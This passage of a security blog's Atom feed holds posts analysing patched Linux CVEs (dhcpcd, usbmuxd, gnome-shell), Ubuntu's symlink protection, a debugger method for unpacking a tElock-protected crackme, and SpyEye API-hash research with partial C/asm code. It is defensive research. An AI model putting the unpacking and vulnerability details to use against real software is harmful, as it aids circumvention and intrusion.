18px;"&gt;&lt;/wbr&gt;&lt;span style="background-color: white; color: #333333; line-height: 18px;"&gt;PATH}" \&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-6658883312351315865?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/6658883312351315865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2010-3387-and-vdrleaktest.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/6658883312351315865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/6658883312351315865'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2010-3387-and-vdrleaktest.html' title='CVE-2010-3387 and vdrleaktest'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-9184179946129593524</id><published>2012-02-13T06:14:00.000-08:00</published><updated>2012-02-13T20:22:20.184-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cve-2011-0996'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu maverick'/><category scheme='http://www.blogger.com/atom/ns#' term='dhcpcd'/><category scheme='http://www.blogger.com/atom/ns#' term='opensuse'/><category scheme='http://www.blogger.com/atom/ns#' term='cve'/><title type='text'>CVE-2011-0996 and dhcpcd</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Debian did not seem to have any discussion/patches on this one; however a bit of searching showed me that opensuse had fixed the issue. As reading a patch file would be a lot better use of my time that trying to rediscover it by reading the source fully, I did a bit more of searching and found &lt;a href="https://build.opensuse.org/package/view_file?file=dhcpcd-3.2.3-option-checks.diff&amp;amp;package=dhcpcd&amp;amp;project=network%3Adhcp&amp;amp;rev=52442e5c1d803d7c1818a920a0bae7f1"&gt;this&lt;/a&gt;(check out the dhcpcd-3.2.3-option-checks.diff file).&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: -webkit-auto;"&gt;As the name suggests, &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;check_domain_name&lt;/span&gt; does the domain name sanitizing, making sure you dont have anything other than alphabets, numbers and dots, no two consecutive dots, no "_" or "-" at the start of the domain name, a total length &amp;lt; 255. Inside &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;check_dhcp_option&lt;/span&gt; you have the rootpath being checked for symbols of any kind. If the message type was a &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;DHCP_DNSSEARCH&lt;/span&gt;, then you are going to need a sanitation check on each of the hostnames retrieved, and hence &lt;span style="color: #333333;"&gt;&lt;span style="line-height: 16px; white-space: pre;"&gt;&lt;span style="font-family: inherit;"&gt;you have &lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;check_domain_name_list&lt;/span&gt;&lt;span style="font-family: inherit;"&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-9184179946129593524?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/9184179946129593524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2011-0996-and-dhcpcd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/9184179946129593524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/9184179946129593524'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2011-0996-and-dhcpcd.html' title='CVE-2011-0996 and dhcpcd'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-3710743495238958065</id><published>2012-02-11T22:46:00.000-08:00</published><updated>2012-02-13T06:12:04.382-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cve'/><category scheme='http://www.blogger.com/atom/ns#' term='cve-2012-0065'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='heap overflow'/><title type='text'>CVE-2012-0065 and usbmuxd</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;While I have been involved in the triaging/patch creation for most CVE's(for Maverick) discussed here, this is one that I picked up because of sheer curiosity. I was not involved in triaging or bugfixing it. The fix was provided by&amp;nbsp;&lt;span style="background-color: white; color: #333333; font-family: 'Ubuntu Mono', monospace; font-size: 12px; line-height: 18px;"&gt;Leo Iannacone.&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="color: #333333; font-family: 'Ubuntu Mono', monospace;"&gt;&lt;span style="font-size: 12px; line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color: #333333; font-family: inherit;"&gt;&lt;span style="line-height: 18px;"&gt;Lets start off &lt;a href="http://people.canonical.com/~ubuntu-security/cve/2012/CVE-2012-0065.html"&gt;here&lt;/a&gt;; we can notice that versions after Maverick are affected. There is not much to explore as most of it has been discussed on various &lt;a href="http://openwall.com/lists/oss-security/2012/01/19/25"&gt;mailing lists&lt;/a&gt; and &lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=656581"&gt;forums&lt;/a&gt; already; it seems like a case of a straightforward heap overflow to me.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color: #333333; font-family: inherit;"&gt;&lt;span style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="color: #333333; font-family: inherit;"&gt;&lt;span style="line-height: 18px;"&gt;Check out the &lt;a href="http://git.marcansoft.com/?p=usbmuxd.git;a=commitdiff;h=f794991993af56a74795891b4ff9da506bc893e6"&gt;diff&lt;/a&gt; here if you are curious.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-3710743495238958065?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/3710743495238958065/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2012-0065-and-usbmuxd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/3710743495238958065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/3710743495238958065'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2012-0065-and-usbmuxd.html' title='CVE-2012-0065 and usbmuxd'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-3451563179009299764</id><published>2012-02-11T22:18:00.000-08:00</published><updated>2012-02-13T20:22:58.147-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LD_LIBRARY_PATH'/><category scheme='http://www.blogger.com/atom/ns#' term='cve-2010-4000'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome-shell'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>CVE-2010-4000 and gnome-shell</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;You can view a description of the issue &lt;a href="http://people.canonical.com/~ubuntu-security/cve/2010/CVE-2010-4000.html"&gt;here&lt;/a&gt;. From this we can understand that the error is in the exporting of the LD_LIBRARY_PATH. Get the source, try to locate the vuln quickly.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;$ egrep -r "LD_LIBRARY_PATH" *&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;aclocal.m4: &amp;nbsp; &amp;nbsp; &amp;nbsp;printf("*** by modifying your LD_LIBRARY_PATH enviroment variable, or by editing\n");&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;aclocal.m4: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printf("*** modify your LD_LIBRARY_PATH enviroment variable, or edit /etc/ld.so.conf\n");&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;aclocal.m4: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;echo "*** LD_LIBRARY_PATH environment variable, or edit /etc/ld.so.conf to point"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;aclocal.m4: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;echo "*** you may also be able to get things to work by modifying LD_LIBRARY_PATH" ],&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;src/gnome-shell.in: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;env['LD_LIBRARY_PATH'] = os.environ.get('LD_LIBRARY_PATH', '') + ':' + mozjs_libdir&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: inherit;"&gt;Lets have a better look at&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;src/gnome-shell.in.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;232 &amp;nbsp; &amp;nbsp; pkgconfig = subprocess.Popen(['pkg-config', '--variable=sdkdir', 'mozilla-js'],&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;233 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;stdout=subprocess.PIPE)&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;234 &amp;nbsp; &amp;nbsp; mozjs_sdkdir = pkgconfig.communicate()[0].strip()&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;235 &amp;nbsp; &amp;nbsp; pkgconfig.wait()&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;236 &amp;nbsp; &amp;nbsp; if pkgconfig.returncode == 0:&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;237 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mozjs_libdir = re.sub('-(sdk|devel)', '', mozjs_sdkdir)&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;238 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if os.path.exists(mozjs_libdir + '/libmozjs.so'):&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;239 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; env['LD_LIBRARY_PATH'] = os.environ.get('LD_LIBRARY_PATH', '') + ':' + mozjs_libdir&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: inherit;"&gt;Ok, so we have the return code check in line 236 so 233, 234 could not be the cause of the vulnerability. The regex just removes every occurrence of "-sdk" or "-devel". However, if LD_LIBRARY_PATH were not defined we would have something like :-&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; import os&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; env = {}&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; env['LD_LIBRARY_PATH'] = os.environ.get('LD_LIBRARY_PATH', '') + ':' + mozjs_libdir&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Traceback (most recent call last):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; File "&amp;lt;stdin&amp;gt;", line 1, in &amp;lt;module&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;NameError: name 'mozjs_libdir' is not defined&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; mozjs_libdir = "/tmp/ladedaa"&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; env['LD_LIBRARY_PATH'] = os.environ.get('LD_LIBRARY_PATH', '') + ':' + mozjs_libdir&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; env&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;{'LD_LIBRARY_PATH': ':/tmp/ladedaa'}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: inherit;"&gt;The proper fix for this would be to check if there is an LD_LIBRARY_PATH and then set a new value.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;You can view the Lauchpad bug/discussion &lt;a href="https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/930854"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-3451563179009299764?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/3451563179009299764/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2010-4000-and-gnome-shell.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/3451563179009299764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/3451563179009299764'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/cve-2010-4000-and-gnome-shell.html' title='CVE-2010-4000 and gnome-shell'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-1289992094304736509</id><published>2012-02-09T21:04:00.000-08:00</published><updated>2012-02-11T02:18:47.496-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='symlink vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='symlic restrictions'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Ubuntu's symlink restriction</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;I had a look at a CVE-2011-3618(you can view the launchpad discussion &lt;a href="https://bugs.launchpad.net/ubuntu/+source/atop/+bug/820497"&gt;here&lt;/a&gt;) recently that was posted in the debian mailing lists. It was related to a symlink vulnerability in the atop package. You can view the proposed patch &lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=24;filename=nmudiff.atop;att=1;bug=622794"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The attack vector would be the ability to overwrite files by guessing the value of tmpname2. The patch would be to use mkstemp.&lt;br /&gt;&lt;br /&gt;I just had a look at Ubuntu's security features(check out the one on &lt;a href="https://wiki.ubuntu.com/Security/Features#symlink"&gt;symlink restrictions&lt;/a&gt;) and it seems that symlinks are not followed in world-writable directories, if the process and the directory owners are not the same as the symlink owner.&lt;br /&gt;&lt;br /&gt;If you are curious about how this is implemented, its in the form for an LSM - the commit diff of which you can view &lt;a href="http://zinc.canonical.com/git?p=kees/linux-2.6.git;a=commitdiff;h=9e1d10f8469d3a48149443a0cbaa269069b4949e"&gt;here&lt;/a&gt;. Its implemented in the yama_inode_follow_link function.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-1289992094304736509?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/1289992094304736509/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/02/ubuntus-symlink-restriction.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1289992094304736509'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/1289992094304736509'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/02/ubuntus-symlink-restriction.html' title='Ubuntu&apos;s symlink restriction'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-9069718281574957538</id><published>2012-01-27T22:21:00.000-08:00</published><updated>2012-01-27T22:21:33.540-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tElock'/><category scheme='http://www.blogger.com/atom/ns#' term='unpackme'/><title type='text'>unpackme-DFW_0x7d7.exe</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;MD5 -&amp;nbsp;c97d934f77f8b17da73d9396f23ee024&lt;br /&gt;&lt;br /&gt;This particular unpackme has a tampered tElock packing - I read about an effective and quick way to go about unpacking it a while back. Surprisingly, the same method works quite a few of the packers/protectors out there, so I thought it'd be nice to document it here.&lt;br /&gt;&lt;br /&gt;Start off by using the executable with Excphook.exe and counting the number of exceptions raised. Load the executable into Olly, set a breakpoint on KiUserExceptionDispatcher and run the executable. F9 through the breakpoints, &lt;i&gt;count &lt;/i&gt;number of times(where count is the number of exceptions you came across in Excphook.exe).&lt;br /&gt;&lt;br /&gt;Remove the breakpoint on KiUserExceptionDispatcher, set another on the code section of your executable.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-_KPI_Ee5_KU/TyOPovpCdMI/AAAAAAAAAdQ/K5dBG0RYAmk/s1600/Screen+shot+2012-01-28+at+11.31.52+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://4.bp.blogspot.com/-_KPI_Ee5_KU/TyOPovpCdMI/AAAAAAAAAdQ/K5dBG0RYAmk/s320/Screen+shot+2012-01-28+at+11.31.52+AM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;F9 and viola, you're at the OEP.&lt;br /&gt;&lt;br /&gt;The very same method works with tELock 0.98 with all options enabled and it seems to work just fine.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-9069718281574957538?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/9069718281574957538/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2012/01/unpackme-dfw0x7d7exe.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/9069718281574957538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/9069718281574957538'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2012/01/unpackme-dfw0x7d7exe.html' title='unpackme-DFW_0x7d7.exe'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-_KPI_Ee5_KU/TyOPovpCdMI/AAAAAAAAAdQ/K5dBG0RYAmk/s72-c/Screen+shot+2012-01-28+at+11.31.52+AM.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-4246726783995538398</id><published>2011-12-15T02:39:00.000-08:00</published><updated>2011-12-15T02:42:00.049-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='function name hashing'/><category scheme='http://www.blogger.com/atom/ns#' term='spyeye'/><title type='text'>Spyeye function name hashing(masm32)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In my last post I had written a C program to find the corresponding hashes of the function names - I spent the morning writing the same in masm32. The following code isn't that good though; i'm pushing and popping all registers just because im too lazy to lookup which registers get destroyed(print destroys ecx and edx?).&lt;br /&gt;&lt;br /&gt;You can find the code &lt;a href="https://gist.github.com/e4c7791f0682f07e815b"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-4246726783995538398?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/4246726783995538398/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2011/12/spyeye-function-name-hashingmasm32.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/4246726783995538398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/4246726783995538398'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2011/12/spyeye-function-name-hashingmasm32.html' title='Spyeye function name hashing(masm32)'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7761018377333039151.post-3129006983521992252</id><published>2011-11-30T01:44:00.001-08:00</published><updated>2011-11-30T01:57:01.370-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='function name hashing'/><category scheme='http://www.blogger.com/atom/ns#' term='spyeye'/><title type='text'>Spyeye function name hashing</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;I have been analyzing SpyEye for a while now and like most malware/shellcode around today, it looks around for functions based on the hash of the name it calculates. Below is a small snippet the I used to figure out how the hashes map to various functions - its not much; an masm32 script that locates kernel32 from the InInitializationOrderModuleList, gets to the export table, then to the function names might be the better way to do this. In anycase, here goes :-&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;$ strings kernel32.dll | sort | uniq &amp;gt; kernel32names&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;$ cat findnames.c&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;#include&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;char line[100];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;int y;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;char flag = 0;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;int stuff =0 ;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;void process() {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm(".intel_syntax noprefix\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("mov ecx, offset line\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("mov edx, ecx\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("mov cl, [edx]\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("xor eax, eax\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("jmp A\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("A:\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("test cl, cl\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;asm("jz B\n");&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; 